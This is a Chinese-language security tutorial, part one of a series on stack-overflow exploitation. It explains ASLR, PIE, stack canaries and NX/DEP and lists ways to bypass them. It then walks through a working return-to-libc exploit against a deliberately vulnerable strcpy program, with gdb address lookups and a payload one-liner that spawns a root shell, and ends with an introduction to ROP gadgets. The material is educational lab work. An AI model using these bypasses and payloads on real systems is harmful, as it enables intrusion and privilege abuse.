0%

栈溢出之 ROP(一)

栈溢出的基本原理以及shellcode利用可以查看我的上一篇文章——栈溢出之shellcode

栈溢出缓解措施介绍

栈地址随机化(攻击者不知道shellcode的地址,无法构造return address):ASLR(地址空间随机化)、PIE(地址无关可执行文件)

检测栈溢出,并报错退出:Stack Canary/Cookie

栈不可执行:NX(不执行)/DEP(数据执行保护)

ASLR 和 PIE

ASLR是地址空间随机化。开启后,堆、栈、共享库都会有一个随机偏移,堆和共享库往上(高地址处)偏移一个随机量,栈往下(低地址处)偏移。随机粒度为0x1000,一个内存页的大小。

单独开启ASLR,虽然堆、栈、共享库都会被随机化,但是程序的入口代码加载还是在固定地址0x804800。

PIE(地址无关代码)开启后,编译器会在编译时生成地址无关代码,编译选项-fPIC -pie,这样程序就可以在随机地址处被加载。也就是程序的代码以及数据段会往上(高地址处)偏移一个随机量。如下图所示。

使用ldd命令查看加载库的地址,可以看到两次都不一样。

1
2
3
4
5
6
7
8
$ ldd a.out 
linux-gate.so.1 => (0xf77c7000)
libc.so.6 => /lib/libc.so.6 (0xf75e6000)
/lib/ld-linux.so.2 (0xf77c8000)
$ ldd a.out
linux-gate.so.1 => (0xf7798000)
libc.so.6 => /lib/libc.so.6 (0xf75b7000)
/lib/ld-linux.so.2 (0xf7799000)

查看程序加载地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ gcc test.c -m32 -fPIC -pie -o a2.out
$ gdb -q a2.out
Reading symbols from /home/scbox/Documents/a2.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off #如果不开启这个选项,则在gdb中默认是不随机化的
(gdb) b main
Breakpoint 1 at 0x5ff
(gdb) r
Starting program: /home/scbox/Documents/a2.out

Breakpoint 1, 0x565855ff in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
...
$ gdb -q a2.out
...
(gdb) r
Starting program: /home/scbox/Documents/a2.out

Breakpoint 1, 0x565e25ff in main () #两次main函数的地址不一样了
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
...
  • 只是开启了ASLR,没有开启PIE的话,可以通过Return to PLT,绕过共享库随机化。(比如将shellcode放置在.data段,这部分是不会随机化的)
  • x86_32架构下爆破(因为随机化粒度为0x1000,所以只有几千种可能)
  • info leak(信息泄露,比如在我的(译)Analysis and exploitation of Pegasus kernel vulnerabilities (CVE-2016-4655 / CVE-2016-4656)文章中介绍的CVE-2016-4655漏洞)
  • nop sled(在shellcode之前添加大段nop指令,在上一篇栈溢出之shellcode的文章中,使用了这种方法)
  • heap spray(堆喷)
  • 在本地环境中,可以使用ulimit -s unilimited命令(程序崩溃后会生成core dump文件,可以在这个文件中查看shellcode地址)

这个机制是用来检测栈溢出的。对于需要保护的函数,在执行之前,将一个随机值放在栈上,这个值被称为Canary。在64位上一般在rbp-0x8的位置,32位在ebp-0x4的位置,也就是ebp保存地址往下(低地址)的部分。然后在函数返回之前,会先检测这个值是否发生改变。stack_chk_fail的错误信息就是由于栈溢出。通过编译选项gcc -fstack-protector可以开启。

可以通过泄露Canary的方式绕过(同一进程不同线程的函数的Canary是一样的,比如read函数)

控制覆盖长度(只覆盖局部变量,不覆盖返回地址)

修改Canary(Canary保存在TLS(Thread-local Storage)寄存器中,一般是偏移0x14的位置stack_guard)

劫持stack_chk_fail(canary被覆盖时,就会调用这个函数,劫持后可跳转到自己的shellcode,比如GOT表劫持

利用stack_chk_fail的报错信息(在报错信息中,会打印栈溢出的程序名,即argv[0],可以覆盖这个地址为其他地址,输出我们想知道的内容)

NX/DEP

栈不可执行主要是对程序的内存块权限进行更进一步的划分。堆、栈以及数据区可写,但不可执行。代码区、只读数据区不可写,但可执行。也就是说我们要找一块内存区域是既可写也可以执行的,来写入shellcode,是找不到了。

绕过NX/DEP所需要的方法有一个基本思想,就是Return to Libc。因为我们不能执行写入的代码,那我们就跳转到程序已经加载了的代码中执行,比如libc中的大量函数,system()等等。

如上图所示,我们将函数的return地址覆盖为libc中的system函数地址,当进程跳转到这个地址时,会执行system函数内部的指令,首先是所有函数都有的,push ebp; mov ebp, esp;这两条指令,即将exit的地址push到。需要读取栈上的参数,即”/bin/sh”,

Return to libc

shellcode以及含有栈溢出漏洞的代码都采用的是跟我上一篇文章一样的代码。

含有栈溢出漏洞的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv) {
char buffer[128];
if (argc < 2) {
printf("Please input one argument!\n");
return -1;
}
strcpy(buffer, argv[1]);
printf("argv[1]: %s\n", buffer);
return 0;
}

编译命令gcc test.c -m32

需要关闭ASLR:echo 0 > /proc/sys/kernel/randomize_va_space

跟前文不同的是,由于没有关闭NP/DEP,所以栈上的shellcode是无法执行的,所以我们要用已经加载的库中的函数来执行我们想要的代码。

首先,使用gdb查看system以及exit函数地址,在libc中查找字符串"/bin/sh"地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$ gdb ./a.out 
......
Reading symbols from /home/scbox/Documents/a.out...(no debugging symbols found)...done.
(gdb) b main
Breakpoint 1 at 0x8048470
(gdb) r
Starting program: /home/scbox/Documents/./a.out

Breakpoint 1, 0x08048470 in main ()
Missing separate debuginfos, use: debuginfo-install glibc-2.17-307.el7.1.i686
(gdb) p system #打印system()函数的地址
$1 = {<text variable, no debug info>} 0xf7e36f70 <system>
(gdb) p exit #打印exit()函数的地址
$2 = {<text variable, no debug info>} 0xf7e2a7a0 <exit>
(gdb) info proc mappings
process 97414
Mapped address spaces:

Start Addr End Addr Size Offset objfile
......
0xf7df7000 0xf7df8000 0x1000 0x0
0xf7df8000 0xf7fbc000 0x1c4000 0x0 /usr/lib/libc-2.17.so #起始地址
0xf7fbc000 0xf7fbd000 0x1000 0x1c4000 /usr/lib/libc-2.17.so
0xf7fbd000 0xf7fbf000 0x2000 0x1c4000 /usr/lib/libc-2.17.so
0xf7fbf000 0xf7fc0000 0x1000 0x1c6000 /usr/lib/libc-2.17.so #结束地址
0xf7fc0000 0xf7fc3000 0x3000 0x0
......
0xfffdd000 0xffffe000 0x21000 0x0 [stack]
(gdb) find /b 0xf7df8000, 0xf7fc0000, '/', 'b', 'i', 'n', '/', 's', 'h', 0 #查找字符串
0xf7f78015
1 pattern found.
(gdb) x/s 0xf7f78015
0xf7f78015: "/bin/sh"

这一步,也可以使用reaelf strings等命令查看system、exit函数地址,以及/bin/sh字符串地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ ldd a.out #查看libc库起始地址
linux-gate.so.1 => (0xf7fd9000)
libc.so.6 => /lib/libc.so.6 (0xf7df8000)
/lib/ld-linux.so.2 (0xf7fda000)
$ readelf -s /lib/libc.so.6 | grep system@ #在libc库中查找system偏移地址
627: 0003ef70 98 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1454: 0003ef70 98 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
$ readelf -s /lib/libc.so.6 | grep exit@ #在libc库中查找exit偏移地址
113: 00032c70 58 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 000327a0 45 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
......
$ strings -tx /lib/libc.so.6 | grep /bin/sh #在libc库中查找字符串偏移地址
180015 /bin/sh
$ gdb -q #在gdb中计算地址
(gdb) p/x 0xf7df8000 + 0x0003ef70 #起始地址+偏移地址
$1 = 0xf7e36f70
(gdb) p/x 0xf7df8000 + 0x000327a0
$2 = 0xf7e2a7a0
(gdb) p/x 0xf7df8000 + 0x180015
$3 = 0xf7f78015

然后对应着前面的图,填充地址就可以执行了:

1
2
3
$ ./a.out $(python -c 'print "A" * 140 + "\x70\x6f\xe3\xf7" + "\xa0\xa7\xe2\xf7" + "\x15\x80\xf7\xf7" + "\0\0\0\0"')
argv[1]: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApo���������
sh-4.2# #进入shell啦

这里的A*140,是因为从buffer的起始地址到ret返回地址有140个字节的长度(具体计算可参考上一篇有关shellcode的文章)。

这里需要注意的是,如果地址中出现0a,比如0xf7f70aa0,为\xa0\x0a\xf7\xf7,在这里\x0a在命令行参数中代表换行符\n,所以会截断字符,这是就需要替换掉这个地址,找其他函数或者字符串。如果是\x20,代表回车,需要用双引号括起来。

Return to libc方法的不足之处在于,如果开启了ASLR,那么我们就没法事先确定动态库的加载位置了。

另外还有一种方法叫Return to PLT,PLT在我的GOT表劫持这篇文章中有介绍,是在懒加载的时候使用的,如果程序已经调用过了这个动态库函数,那么可以直接通过PLT调用,不需要知道它的实际地址。

ROP (Return Oriented Programming)

Return to libc中我们直接找的函数地址,我们也可以将函数拆成几条指令组成的以ret指令结尾的小代码片段的集合,来执行,这就是ROP。(Return to libc其实就是ROP中的一个特例)

这些小的以ret指令结尾的代码片段,被称之为ROP gadget。(之所以是ret结尾,是因为ret之后会从栈中读取下一个返回地址(gadget),然后继续执行,这样才可以把gadget拼接到一起)

多个ROP gadget拼接成的可执行片段称为ROP链。

在栈上填充的用于执行ROP链的数据,成为ROP Payload

ROP是使用以ret结尾的片段。

使用以jmp结尾的片段叫做JOP,pop esi; jmp dword[esi+0x10]

以call结尾的片段叫做COP,mov eas, dword[esp+0x20]; call dwork[eax+0x20]

(JOP和COP有时也被合并到ROP中)

ROP Gadget现在已经有很多成熟的搜索工具,比较常用的是ROPGadget

关于ROP的具体利用方式请查看下一篇文章栈溢出之 ROP(二)

----------------------END END----------------------